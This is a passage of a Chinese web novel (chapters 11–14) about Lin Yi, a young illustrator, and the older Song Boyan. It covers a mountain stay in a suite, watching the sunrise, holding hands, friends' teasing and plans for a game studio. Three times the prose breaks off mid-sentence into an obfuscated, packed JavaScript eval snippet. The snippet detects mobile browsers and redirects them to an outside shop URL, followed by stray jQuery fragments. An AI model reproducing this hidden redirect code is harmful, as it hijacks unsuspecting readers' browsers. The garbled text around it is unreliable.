他喝了口咖啡,目光时不时看向少年,少年正伸手想去够围栏外一枝支出来的紫薇花。 宋薄言出声提醒,“小心点,别靠栏杆太近。” “哦~好的。” 林仪把手收了回去,转而用手机去拍。 宋薄言笑了笑,跟带小孩儿似的。 林仪拍了几张,正要拿去给宋薄言看,有两个女孩子找上他。 “帅哥,可以帮我们拍张合照吗?” “可以啊。”林仪接过手机,两方调转位置,女生站在栏杆前摆动作。 林仪寻找角度给他们拍了几十张,把手机还给他们。 女生看了看,非常满意,又见林仪长得好看,忍不住多聊两句。 “帅哥你也是来看日出的吗?” 林仪看了不远处的宋薄言一眼,“不是,我们是来看星星的。” 11. 大床房 两个女生顺着视线看过去,见一个穿深色大衣的男人交叠着腿坐着,正端着一杯咖啡抿了一口,手上拿着找服务员要的杂志认真翻阅。 男人身材极好,即便坐着也能看出身高非常优越,一双大长腿根本收不住,十分惹眼,低头敛着眉眼,高眉骨深眼窝更加明显,鼻梁高挺,阳光从一侧投下去打出半片阴影,无论从那个角度看都十分完美。 再一看面前的小帅哥,和那个西装男人完全是两种截然不同的风格,凑在一起竟然让人发自内心地想尖叫。 两个女生默契地露出同样的表情,“原来是这样啊,但是既然来了,也可以看看日出啊,多住一晚就好了,你看那个位置。” 林仪顺着方向看过去,听女生道:“哪里就是看日出的地方,伏龙山不高,山顶位置看日出,整片山谷都是一片橙红色,非常好看!” 另一个女生附和,“是呀,来都来了,看完星星继续看日出,不是更浪漫吗?” 林仪脸都红了,飞快地看了宋薄言一眼,小声道,“不是不是,我们不是你们想的那样。” 两个女生交换眼神,露出一个诡异的表情。 “好的,明白。” 林仪:“……” 不,你不明白。 两个女生下去后,林仪悄声走过去坐在宋薄言对面,把自己的橙汁拿过来喝了两口,尽量不发出一点声音。 宋薄言杂志翻了一页,头也不抬,“想看日出么?” 林仪差点被呛到。 不会都听到了吧。 “没有,我一般想看。” 宋薄言嘴角微微上扬,“来都来了。” “……” 完全听见了呀! 林仪期期艾艾,“那会不会扰乱您的安排?” 宋薄言:“没关系,没有安排。” 说完抬头看向少年,“你晚上有别的安排?” “没有没有。”林仪赶紧摇头,“我家里人都出去旅游了。” 宋薄言点头,云淡风轻地说,“那我安排一下,在山顶定个房间,明早起来看日出。” 林仪噎住了。 “怎么了?”宋薄言看向他。 “没事,喝水喝急了。” 林仪故作镇定,心中惊骇。 转念又想,“这时候应该没有房间了吧,节假日景区人很多,都是提前预定的。” “试试看。”宋薄言拿起手机打了个电话。 没多久收到回复,道:“订好了。” 林仪:“……” 日出在林仪意料之外,也在宋薄言的安排之外,但就因为一句话,行程立马出现变化。 他们要在山上过夜了。 林仪脑子里忍不住想到这个事实,连带晚饭吃了什么都没印象。 晚上看星星时,意识也在九霄云外。 好多星星啊……一会儿要在山上过夜了。 他悄悄看了一眼宋薄言,宋薄言就站在他旁边,神情和平日一样从容淡然,深邃的目光看不出一点情绪起伏。 只有他心跳都快突出来了。 这时手机铃声响了,林仪被音量不高的来点铃声狠狠吓了一跳,连宋薄言都注意到了他反常的动静,投来目光询问。 “抱歉,我接个电话。”林仪快步走到观景台角落。 是余越打来的电话。 余越在电话那头非常兴奋,“大突破大突破,我们几个本来在打游戏,突然有了灵感,几个关键副本逻辑框架已经整出来了,我们现在在你家楼下,快下来!快点!” 林仪吞吞吐吐,“明天再说吧,这么晚了。” “晚什么,才十一点,你不可能已经睡了,快出来咱去大排档边吃边说。” 林仪选择说谎,“哎呀我不吃啦,我已经睡下了。” “睡什么睡啊烧烤都烤好了……等等,”余越语调一变,“林仪同学,你不会还没回家吧?” 林仪打哈哈,“什么什么呀,不知道你在说什么。” “林仪!”手机麦克风大震,“你就是没回家!还想骗我!你不会是还和宋先生待在一起吧?你们在哪儿?都十一点了还不回家,是不是打算不回家了?!” “哎呀没有,行程出了点意外,可能要在山上过夜了。” 余越:“山上?哪座山?你怎么被哄到深山老林去了?那万一他想对你做点什么,你岂不是跑都跑不掉?” “……”林仪捂着麦克风,生怕声音漏出去,“想什么呢,能做什么?再说这里是景区,人很多的,能跑掉的。” 余越:“……你们到底在哪里?!林仪你大学四年可从来没有在校外留宿过。” 林仪:“我大学四年就没在学校住过。” 余越:“……” 林仪安抚道:“哎呀行啦,我们就是临时起意想看日出才决定在山顶留宿的,你别乱想啊,等回来我去找你,挂啦挂啦。” 余越:“等一下……你们是不是在伏龙——” 林仪安抚完余越,短暂开小差的心跳又开始激动起来。 他自己其实也很紧张啊。 原地磨蹭了一会儿,回观景台找宋薄言,刚抬腿电话又响了,他以为是余越,拿起手机一看,是雷霆。 “……” 这才几分钟,余越就把这事儿给他捅出去了。 果然病毒和八卦传播速度都是一样的快。 接起电话,雷霆轻快的声音传来,“哟,不错,进展挺快,都出去开房啦~” “……余越是这么跟你说的?” 雷霆哈哈一笑,“开玩笑啦,他说明白了的,我只是过来问问你,你怎么想,毕竟你们才认识几天啊。” 林仪纠正,“快两周了。” “两周啊,那你们在一起了吗?” 林仪:“没有啊。” 雷霆:“是宋先生订的房间?” 林仪:“对啊,这应该没什么吧,换我订可能都订不到,最近节假日,山顶人很多。” 雷霆:“那是大床房还是双人床?” 林仪卡住了,老实巴交,“不知道。” “哈哈哈,我们以前就在讨论如果你谈恋爱,可能被人卖了还巴巴给人数钱呢。仪啊~你长点儿心吧,什么都让人家安排自己啥也不知道,连今晚睡的床有几张也不知道,等你被他吃干抹尽了你就知道了。” 林仪小声辩解,“才不会,宋先生是个好人。” 雷霆坚持己见,“如果是大床房那他就不是好人!” 林仪:“……” 他搞不懂,大床房和好人坏人的关系点在哪里。 雷霆苦口婆心,“仪啊,你从小到大没谈过恋爱,一谈就是面对这种阅历丰富的成熟男人,我怕你吃亏呀,相信哥,晚上要是大床房就说你家煤气忘关了赶紧跑知道吗?哥给你打车。” 林仪被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478923|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他逗笑了,“我家没有煤气罐罐。” 雷霆:“现在是开玩笑的时候吗?!” 林仪:“哎呀知道啦,我会注意的。你奔现成功了吗?” 雷霆声音变了个调,泡上了恋爱的酸臭,“那还用说,你雷哥出马,我可是跨越两千多公里来追爱,你嫂子早就感动死了好吗,过阵子我带她回来,咱们还有毕业旅行没去呢,到时候一起去。” 林仪:“行啊。” 两人聊得正欢,宋薄言回头看向观景台角落里一边薅绿化带一边笑着打电话的少年,眉峰压低。 不知道跟谁聊,聊这么开心。 林仪挂断电话,方才的紧张都散了些,脚步轻快跑回宋薄言身边,冲他一笑。 “我回来了。” “嗯。”宋薄言不着痕迹:“爸妈打来的?” 林仪:“不是,是我朋友,也是我们团队的一员,最近我们项目不是进度有些缓慢吗,就是因为他不在,人不齐,他去海南见网友了——阿秋~” 宋薄言立马道:“山上夜晚风冷,回酒店吧。” “嗯嗯。”林仪穿得稍微有点单薄,这会儿早就想回酒店洗个热水澡了。 回去路上他继续说,“过几天他就回来了,到时候我们拉一下进度。” 说起雷霆,林仪又忍不住多说了一些关于游戏项目的事。 他发现宋薄言很爱听他讲这个,所以项目一有进展就跟他分享,他听得也很认真,不时还会给出建议。 回到酒店,林仪又开始紧张了。 都是让雷霆说的,他现在满脑子大床房。 宋薄言走在前头,刷开了房间门。 林仪紧张兮兮走进去一看,笑了。 什么大床房,这是个套房。两间房分别在客厅两端,隔得远着呢。 林仪摸出手机给雷霆发了个消息。 林仪:「是套房。」 雷霆:「不信,有图有真。」 林仪:「图片.jpg」 雷霆:「宋先生是大好银。」 “……” “阿秋~” 林仪又打了个喷嚏。 宋薄言走过来,“是不是吹感冒了?” 林仪摇头,“不知道。” 宋薄言抬手将他头发撩上去,手掌覆在额头摸了摸,“先去洗个热水澡,我让人送点感冒药过来,你洗完喝一杯。” 林仪这会儿身上有点热热的,闻言点头,乖乖去了浴室洗澡。 宋薄言打了客房服务,让人送来了感冒药,看着林仪快洗完了,烧好热水冲了一杯。 他们都没带换洗衣物,林仪穿的是酒店的浴袍,头发用毛巾擦了擦,没滴水了,但还是一绺一绺地贴着。 宋薄言:“过来把药喝了。” 林仪接过感冒药闻了闻,然后仰头一口一口喝干净。 林仪喉咙细,吞咽比较慢,小巧的喉结一上一下,宋薄言目光跟随,自然而然往下几寸,找到了少年颈窝里那颗小痣。 刚洗过,沁着水汽,分外惹眼。 “喝完了。”林仪把空了的杯子给宋薄言看。 宋薄言点头,“先把头发吹干,然后再去睡觉。” “好。”林仪本来就有点困,喝完感冒药更困了。 吹完头发,林仪站在客厅看向左右两间房,最后选了左边的。 刚一转身,宋薄言就朝他抬了抬手,“过来。” 12. 牵手啦 林仪困倦的眼神凝了凝,慢吞吞走过去。 宋薄言起身,将他拉过来,再次摸了摸他额头,见没发烧才放开,“晚上睡觉别锁门,我会再来看看你的情况。” 林仪愣愣点头。 “去睡吧。” 林仪走了两步又回头,“宋先生。” 宋薄言:“嗯?” 林仪:“明天我要是起不来,你记得要叫我。” 宋薄言失笑,“好。” 林仪:“一定要叫我啊。” 宋薄言:“知道了。” 林仪声音嗡嗡的,明显是感冒了,这会儿特困,柔软的床将他包裹时,他眼皮都在打架。 但是又想到刚才宋薄言说晚上要进来看他。 虽然知道只是摸摸体温,但还是有些心神荡漾。 他想再熬一熬,等宋先生来看完他再睡,于是乎就这么平躺在床上,两只手扣着被子,只露出鼻子和眼睛,和天花板干瞪眼。 不知道过了多久,林仪心想,宋先生怎么还不进来…… 迷迷糊糊间,他听到房间门锁咔哒一声,门被推开,轻微的脚步声靠近窗边。 有什么东西羽毛一样轻地撩开他头发,触感沿着额头皮肤微微扩散,痒痒的。 随即温厚的掌心盖在额头。 林仪半梦半醒间,知道是宋先生来了,下意识用额头在温厚的掌心蹭了蹭。 房间留着一盏小夜灯,灯光微弱,能看清熟睡的少年比白日更加柔和乖巧的面庞,贴着他掌心蹭过。 宋薄言呼吸一顿,默默替他掖了掖被子,悄声离开房间带上了门。 喝了药这一觉睡得很好,林仪是被敲门声叫醒的。 林仪翻身坐起,头发翘起来几根,打了个哈欠,睡眼朦胧地坐着发了会儿呆。 门被推开了,宋薄言穿戴整齐,“天快亮了。” “好。”林仪掀开被子下床,飞快跑进洗手间收拾自己,很快就给自己捯饬好了,睡了一晚精神焕发,状态很好。 林仪:“我准备好了,我们走吧宋先生!” 酒店离山顶看日出的地方不远,走路十几分钟就到了。 伏龙山并不高,山势起伏不大,坡度缓,且没什么特别高的树,视野很好。 山顶一路就铺了条木头栈道,两边只有膝盖高的栅栏,不拦什么,图个好看。 来看日出的人不少,但也不算太拥挤,林仪找了个好地方等着。 林仪扭头问宋薄言,“宋先生,您有看过日出吗?” 宋薄言:“我起得早,经常能看到。” 林仪一点不惭愧,“我起床的时候太阳已经升起来了,所以看日落比较多。” 宋薄言:“你经常熬夜?” “算是吧,我一般都是十二点左右睡,有时候要给人赶稿子稍微熬晚一点。其实在我们这个行业,十二点根本不叫熬夜了。” 宋薄言拿出长辈的态度,“十一点后睡都算熬夜,经常熬夜对身体不好,要改。” 好严格。 林仪已经下意识直起了背,“我知道了宋先生。” 宋薄言看他一眼,似乎是在分辨小孩儿到底是真知道了还是在敷衍。 “来的路上看到那边有个寺庙?” 林仪:“好像是有,听同学们说过,这个寺庙好像很灵。” 宋薄言秉承着那句“来都来了”,提出建议,“要去拜拜么?” 宋薄言其实不信这些,只是觉得来这里的年轻人通常都是观星赏日拜佛一条龙,所以问问林仪感不感兴趣而已。 林仪挠了挠脸颊,有些犹豫道:“宋先生你想拜吗?我听说,这个寺庙是求姻缘和求子很灵。” “……” “要拜吗?我都可以的。” “……” 空气安静了一会儿,宋薄言忽然转头,“太阳出来了。” 林仪立马扭头。 清晨的天空很软,云丝带着颗粒感,东方天空的橙红渐渐被冒出头的红日染得更深。 周围都是结伴来的人,纷纷拿出手机拍照,或小声惊叹,或安安静静看太阳慢慢爬上来。 风也很清透。 一切的一切都很好。 人渐渐多了起来,林仪站在栏杆后安静地看日出,旁边有对小情侣挪到他们前面几步,好像是让人在帮他们拍照。 林仪正要退开两步给他们让出空间,抬眼就看见,俩人就在他们面前一步之遥的距离亲在了一起。 好近哦。 他还从来没在这么近的距离观赏过别人接吻。 林仪看得有些不好意思,后退一步,肩膀撞到身后的宋薄言。 宋薄言抬手扶了扶他的肩,“怎么了?” 林仪摇头,“没事没事,我们去那边看看吧。” “嗯。” 两人并肩往前头走,林仪落后一步,想到那对情侣,脑海中蹦出余越的话。 ——“你们进展好慢哦,我爸妈他们那会儿相亲,这时候都订婚了。” 林仪目光落在男人背影上,忽然鼓起勇气上前,小心翼翼地牵住了男人的手。 他装作若无其事地看风景,宋薄言察觉自己手被抓住,低头看了看。 林仪呼吸都变慢了。 会不会太唐突了? 宋先生会不会把他手甩开啊…… 宋先生是个正人君子,开房都开套房。 昨天他在群里同步了套房的消息后就没发言了,但余越他们还聊了很多。 雷霆先是夸了宋先生是个好人,然后又开始质疑。 雷霆:「什么超绝直男,这么好的机会,不开大床房,也要开个标间啊!怎么会是套房!」 余越:「啧啧啧,这位宋先生好传统啊。怎么给我一种婚前不接受性行为的感觉呢?」 雷霆:「不行啊!婚前没有性行为怎么知道他行不行!林仪你可不能由着他来!」 余越:「就是就是!」 余越:「要么是太传统,要么是假正经,这种三十岁的成熟男人最装了。」 巴拉巴拉…… 林仪越想,手抓得越紧了,心提到嗓子眼儿的时候,他的手被反握住了。 林仪低头看着他们紧紧牵着的手,跟心里的小人儿击掌。 恭喜这对新人牵手成功! 宋薄言看了看旁边还不及他膝盖高的毫无用处的装饰品栏杆,心里下了结论。 小孩儿路痴。 还恐高。 默默牵紧了些。 “下山吧。”宋薄言贴心地提议。 “好。”林仪轻飘飘的,浑身的感官都在手上,宋薄言牵着他往那儿他就跟着去哪儿,如同小孩儿手里的氢气球,区别是他飘不起来。 下山的路上,林仪迎面碰上两个女生,眼熟,很快想起就是昨天在咖啡厅让他帮忙拍照的那两个。 对面也一眼认出了他,立马注意到了两人紧牵的手,对林仪露出一个高深莫测的笑。 “不是,等等……” 他刚开口,两个女生已经笑着跟他们擦肩而过了。 林仪:“……” “怎么了?”宋薄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478924|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 言问他的时候,手还捏了捏他的。 “没事。”林仪使劲摇头。 宋薄言松开他的手,把他转成小旋风的脑袋摁住,“我去把车开过来,在这里等我。” 林仪乖乖站好,“好的宋先生。” 宋薄言把车开回来的时候,发现这小孩儿还真的站在原地一步都没挪动,不自觉笑了笑。 “上车。” 他们下山的时间还算早,路上不堵车,回城大概要两个小时。 林仪摸出手机看消息,发现群里竟然还在讨论。 余越:「到底是真传统还是假正经,咱们得想办法分辨一下!」 李旭:「臣附议!」 雷霆:「不行了,我过两天就回来,到时候林仪把人带出来吃的饭,让我们给你品一品。」 李旭:「哟~千里追爱的恋爱脑舍得回来了?您心里还有我们这几个兄弟,还有我们称霸全球游戏界的宏图霸业吗?」 余越:「追到了是没追到,结果呢?」 雷霆:「奸笑.jpg」 雷霆:「准备好见嫂子,我们一起回来。」 余越:「讲真?」 李旭:「讲真?」 林仪:「讲真?」 余越:「宝宝出来了,昨晚怎么样?有没有我们不知道的新进展?」 林仪:「嘿嘿~」 余越:「?」 李旭:「?」 雷霆:「?!」 林仪偷偷看了宋薄言一眼,见他在认真开车,低头飞速打字。 林仪:「我们牵手了!」 林仪:「叉腰.jpg」 余越:「……」 李旭:「……」 雷霆:「……」 余越:「各位见谅,我们宝宝没谈过,母胎单身是这样的。」 李旭:「内涵谁呢。」 余越:「请勿对号入座。」 林仪:「雷霆什么时候回来?」 雷霆:「下周三吧,你快问问宋先生,到时候一起出去见见啊。」 余越:「对啊,你都见了他那么多朋友,也得让他见见你的朋友啊。」 林仪:「好吧。」 林仪:「那我问问。」 林仪:「但你们别抱期待,宋先生平时很忙。」 余越:「都牵手了,你提要求还能不答应?」 余越:「欢欣.gif」 林仪:「……」 林仪关掉手机,假装无事发生,安静地坐了一会儿。 然后扭头,“宋先生,那个……你下周有空吗?” 宋薄言:“嗯?” 林仪:“是这样的,我上回不是跟您说过我们团队里有个朋友去海南了,过几天他回来了,问,能不能咱们一起出去吃个饭?” 宋薄言:“下周几?” 林仪:“他周三回来,具体看您哪一天有空吧。” 宋薄言点头,“要聊聊项目?” “啊?”林仪:“都……都可以。” 林仪已经说过他们的项目已经有了大致框架,是时候更进一步详细了解一下了。 宋薄言原本只是打算直接赞助就好,后来听了林仪讲那个游戏,觉得不是不能深入合作。 新垣集团本就有意向跨入游戏领域。 宋薄言道:“可以。稍后我让程云峰看看下周安排,等确定好时间通知你。” 林仪欣喜,“您这是答应了?” 宋薄言:“当然。” 林仪:“好,我现在告诉他们。” 13. 骄傲一下 宋薄言的假期也被公务缠身,看完星星日出,把林仪送回家后,马上要去隔壁市参加一个会议。 林仪回到家换了身衣服,把胸口别的桂花胸针取了下来,找来一个盒子收好。 还有一张月饼的拍立得,扣了一块磁吸小人头,把照片贴在了冰箱上。 做完这一切后,林仪跳上床卷起被子,睡了个回笼觉。 这一觉睡到中午十二点,醒来时手机被电话消息塞爆。 林仪一猜就知道是谁。 如果是一两条消息留言,可能是普通朋友,克制矜持。 如果是连续震动,可能是单主在嗷嗷待哺。 如果是连续震动加无数未接来电,一定是余越他们几个在夺命连环催。 林仪打了个电话过去,“你们吃饭了没?” 余越:“到饭点你就来了?还行,知道饿了要吃饭。” 林仪:“那我过来咯。” 余越:“快点来就差你一个了。” 林仪:“喔喔。” 林仪把电脑设备带上去了余越家,上楼时顺便去了对面工作室。 工作室是精装修,只是入驻前需要根据他自己的需求做一些调整。 已经跟设计师谈好,这几天都是余越在帮他盯着。 他作为老板,今天终于得空自己来看看。 工作室不大不小,里面是双层格局,本来楼上是老板办公室,但他自己不想在楼上,他们这种工作需要多沟通交流,楼上楼下不方便,所以就改成了会议室。 员工方面他已经联系好了两个在网上认识的同行,有一个不是本地人,最近打算来安市工作。 他手头一些散单子自己就能做,但《大魔法师》是个大项目,得有团队才行,先把核心队伍定下,剩下的按需找人。 逛了一圈工作室,林仪更饿了,看见路边有水果买了一些带去余越家。 林仪:“我来了我来了,还有饭吗?” 原以为一进门就会看到余越带领着团队围坐在客厅办公桌上,严肃地讨论《大魔法师》项目工作安排。 毕竟这两天光听余越急吼吼地说有大突破了。 结果办公桌上没有任何办公设备,摆满了纸牌道具,一群人在玩□□。 看脸黑的程度,余越应该输得很惨,他一见林仪来了,立马扔了牌,“我不要了不要了,宝宝啊,饿了吧我给你把菜热一热,李旭妈妈亲手做的大菜,来尝尝。” 牌桌上人立马嚷道:“热完了菜过来结算把欠的钱清了啊!” 余越充耳不闻,走过来搭着林仪肩膀,八卦道:“牵手了呀,还有没有做别的什么?” 林仪把他手拿开,去厨房洗水果,背影都能看出他在笑,“你怎么这么八卦,就是牵了手,没别的。” 余越眉毛一挑,“他主动的?” 林仪:“我主动的。” 余越:“什么?你都这么主动了,竟然除了牵手就没别的了?坏了这人不会是个直男吧?” 林仪:“怎么可能,我们是相亲认识的,他总不可能不知道相亲对象是男是女吧。” 余越:“离奇。我对这个宋先生越来越好奇了,你跟他约了吗?咱们什么时候一起去吃饭?” 林仪:“等雷霆回来,宋先生找个空闲时间,定好了时间我再告诉你们。” 很快菜热好了,余越几个已经吃过了,这些是专门给林仪留的,分量不算多但种类丰富,海鲜牛肉大酱肘,连野菜都有。 余越在林仪吃饭的时候凑过去,小声道:“我觉得肯定是假正经。” 林仪:“?” 余越给他出点子,“别等雷霆回来了,这几天你就可以试探一下啊,老男人怎么可能对你这款无动于衷,你都主动牵他手了诶。” 林仪:“我觉得我们进展很顺利啊。” 余越:“你再主动一点嘛!就不信他还能忍得住。” 林仪狐疑地看了他一眼,“你们是不是下注了?” 余越眼神躲闪,“哪有,我们只是在帮你分析,还不是为了让你早日脱单,请我们吃饭。” 林仪:“我就知道,你押的什么?” 余越:“假正经。” 林仪:“……” 余越继续哄:“你看,哪有两个暧昧对象出去玩开房开套房的啊!晚上连面都见不到。” 林仪:“可是你们说开大床房就不是好人。” 余越:“可是开套房就不是男人!” 林仪:“……” 余越翘着腿指了指客厅,“李旭就是个直男,他懂什么,居然说宋先生是个传统守礼的男人,呵……难怪他找不到对象。” 见林仪不说话,余越大骇,“你……你不会也是吧?真不要婚前性行为?” 林仪面不改色,“你吃个皮皮虾吧~” 余越闻到香味馋虫动了,“好啊,给我剥一只。” 两个人一起啃起了皮皮虾,鲜香Q弹的虾肉让余越瞬间忘记了刚才在说什么。 吃完饭,林仪大手一挥,撤掉了纸醉金迷的牌桌,所有人全都拿出电脑,为推进项目顺利在节后立项并解决资金来源等一些列问题提出指导意见。 下午,几个程序员守着八台电脑目露凶光双手颤抖,林仪也在马不停蹄赶稿。 “星之卡比”女士的稿子已经全部完工,他把最终稿上传,收货了“星之卡比”从构图到明暗到透视到光影到各种细节全方位无死角的夸赞。 林仪挺直腰背,觉得微微骄傲。 他下意识想把展示稿分享给宋薄言求夸,但一看到画中两个男人亲密的姿势,立马放弃。 转而打了一行字。 「刚刚完成了一个私人约稿,单主特别满意!」 一分钟后没有回复,林仪又发一条。 「她夸我是宇宙无敌最棒的画手!」 又过了一分钟。 「宋先生在干什么?」 林仪点开约稿软件,挑一挑约稿时间,按顺序继续处理下一单。 绿泡泡亮了,点开一看,是阿莱的消息。 阿莱:「老大,我明天就要搬来安市啦!等我安顿好,就来加入你一起筹备工作室!」 阿莱是个活泼的女生,两人在网上认识的。 林仪:「这么快!东西多不多?」 林仪:「航班号发我,明天我去机场接你。」 林仪:「房子找好了吗?需不需要我帮你看看?」 阿莱发来一张航班信息图。 阿莱:「找好啦,土豆说他房子有空房间,让我搬去跟他合租。」 土豆就是另一个工作室成员,年纪比他还小两岁,听说高中毕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17478925|201636||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 业就没读书了,靠接稿养活自己,是个非常有天赋的小孩儿。 林仪:「我家离他家不远,顺路去接他一起去机场吧。」 阿莱:「好呀,明天见!」 林仪:「明天见。」 电脑键盘被他敲得噼里啪啦响,几个程序员抬头阴暗偷窥,交头接耳。 众人分析,“嘴角带笑,手指飞起,满面春光,肯定在跟宋先生聊天。” 林仪面无表情:“没有。” 余越也面无表情:“别想骗过我!” 林仪重复:“真没有。” 说完,宋薄言的消息框弹了上来。 宋:「看看。」 看什么? 不会是要看他的画稿吧? 林仪手指一顿,扭扭捏捏,还是把展示稿发了过去。 “哇!林仪给宋先生发两个男人的亲嘴图!” 林仪被骇了一大跳,余越不知道什么时候偷渡到他背后窥屏来了。 “你窥屏啊!” 林仪捂住电脑屏幕。 李旭几个从电脑后探出脑袋来,“什么亲嘴图?” “哈哈哈哈哈哈哈……” 余越一直在笑,捂着嘴巴在他耳边出馊主意,“你想勾引人家别发这种图啊,发你本人照片,少穿点儿,不比这个有用?” “胡说八道什么!谁勾引了!”林仪给了他一肘击,合上电脑开始收东西。 “我先走了啊,晚上把线稿发你们看。” 余越伸手挽留,“别啊,你等我再给你几个重要建议啊喂!” 林仪把包挂在一边肩膀上,一边穿鞋一边回头,“对了,明天我不过来,去机场接个人。” 办公室立刻闹哄哄的。 “搞咩啊~又翘班~” “接谁去?你怎么把我车钥匙拿走了?” “……” 余越家就在三楼,他一般坐电梯上来,走楼梯下去。 就跟后面有人追似的,林仪跑得飞快,一步跳三阶楼梯,快成楼道里一抹幽灵。 下楼拿出手机一看,宋先生回了消息。 宋:「画得不错。」 林仪满脸骄傲。 另一头,宋薄言刚结束一个南部区域开发项目合作的会议,人坐在地下车库的迈巴赫里。 小孩儿给他发来几条消息,自卖自夸说是宇宙无敌最棒小画手。 宋薄言勾起一抹笑。 程云峰问他去哪里。 宋薄言问牛答马,“下周安排空出来了么?” 程云峰:“空出来了宋总,下周六您要参加邹氏小儿子的婚礼,婚礼中午举行,午饭后可以提前离场。两点有个电话会议,之后的安排都可以推掉,为您安排和林仪先生和他朋友们的见面。” 宋薄言低头打字,“嗯,地点你安排一下,年轻人爱玩儿,去放松一些的地方。” “好的宋总。” 宋薄言夸赞了小孩儿的话,把下周的时间安排也告诉了他。 林仪顺手转发到群里,敲定好时间,转头开始处理工作室的事。 翌日林仪开着余越的车去机场接人,把人送去了土豆家里,帮着收拾采买了生活基本用品后,带着俩人去工作室踩点。 安排好阿莱和土豆,林仪又要去机场接雷霆,不过这次不是他开车。 14. 出柜 凌晨,机场清清静静,偶尔有几声电子播报音响起,身边路过几个机场住宿揽客的。 林仪打了个哈欠,眼底一片湿润,“怎么还没出来啊。” 余越蹲在地上,声音也倦倦的,“估计在等行李吧,这孙子,怎么带着女朋友还买红眼航班。” 林仪:“好像飞机零件维修,晚点了,晚了一个半小时……” 眼看时间快过凌晨,终于有一波人出来了,俩人同时抬头望过去。 一对儿恨不得贴在一起的小情侣笑着闹着,拖着行李箱慢悠悠朝出口走来。 林仪和余越盯死人一样的目光盯着雷霆,雷霆浑然不觉,还煞有介事看了看四周,飞快低头亲了女朋友一下。 林仪:“……” 余越:“……” 余越:“咱们到底为什么要来接他们?” 林仪:“为了爱。” 余越:“呕……” 雷霆终于注意到了门口的怨种兄弟,眼睛一亮,丢下女朋友就朝他们跑过来,一个猴子展臂把俩人拥入怀中。 雷霆笑得牙不见眼,“是兄弟,够意思!等会儿请你们吃夜宵!” 余越给他胸口来了一锤,“必须的,给我们介绍介绍呗。” 女生笑着走了过来,搂住雷霆的腰,主动介绍自己,“大家好啊,我是阿霆的女朋友陈沫,叫我阿沫就好啦。” 余越和林仪各自介绍了自己,又跟着起哄,“羡慕哦,嫂子长这么漂亮,真是便宜雷霆了。” 林仪也跟着起哄:“羡慕哦~” 雷霆嘴角跟本就压不下去,拍了拍林仪,“你羡慕什么,你男朋友不也挺帅!” 林仪差点噎住,“别乱说啊,我们还没在一起呢。” 雷霆:“那还不是临门一脚的事,差不多啦,这次回来不就是见你准男朋友的吗,诶,到时候能不能带阿沫去啊,她在这边人生地不熟的,一个人会无聊啊……” 几个人说说笑笑出了机场,直接把车开去了余越家楼下的大排档,铁了心要黑雷霆一顿,雷霆大手一挥让他们随便吃。 结束后,林仪回到家已经是凌晨两点,最近几天都在熬夜,回到家洗了个澡给他洗精神了,睡不着,抱着手机滑来滑去,滑到了宋薄言聊天框。 想给宋先生发消息问他在做什么,自从伏龙山看日出分别后,他们到现在还没联系过。 余越说得对,既然宋先生不主动,那他就多主动一点好了。 林仪双指悬在键盘上,敲下几个字,立马又全部删除。 现在是凌晨接近两点,宋先生一贯早睡,这会儿肯定是看不到消息的,况且要是让人知道他两点还在给他发消息,肯定又要挨说了。 算了算了。 正要退出,“对方正在输入”的标识又出现了,林仪以为自己熬夜终于把眼睛熬成老花了,揉了揉眼睛,再一看,聊天框躺着一条新鲜热乎的消息。 宋:「?」 林仪马上回复:「宋先生,现在都快两点了,您怎么这个点还在?」 宋薄言:「在美国,现在是下午。」 林仪:「嗷嗷,我今天有事回来晚了,刚洗完澡。」 宋:「还不睡。」 林仪:「我有点睡不着。」 宋:「有心事?」 林仪不太好意思,「可以打视频吗?」 林仪不确定对方会不会接受,但还是不自觉地在整理自己仪容,头发乱糟糟的,抓了一下,睡衣穿整齐了,被他解开一颗扣子。 刚做完这一切,电话就打了过来,林仪手忙脚乱接通。 “宋先生,会不会打扰到您?” 镜头一开,男孩那张微微带着点婴儿肥的脸占满屏幕,两只眼睛湿漉漉的,一看就是刚洗完澡,睡衣都没扣拢,锁骨上的小痣一晃一晃的,令人心神恍惚。 宋薄言把手机拿远了些,“不会,有什么事可以和我说。” “其实没什么事,就是好久没见您,想听听您的声音。” 林仪说完喉咙咽了咽,他虽然不住校,但是经常被余越邀请去他们宿舍玩,舍友有谈恋爱的,就是这样跟对象煲电话粥调情的。 林仪有样学样,看把对方镇住了,还有些自得。 他很会谈恋爱嘛。 宋薄言愣了一瞬,道:“三天。” 小孩儿好像有点黏人。 林仪白皙的脸蛋慢慢蒸熟,感觉自己很矫情,明明才三天,就说好久。 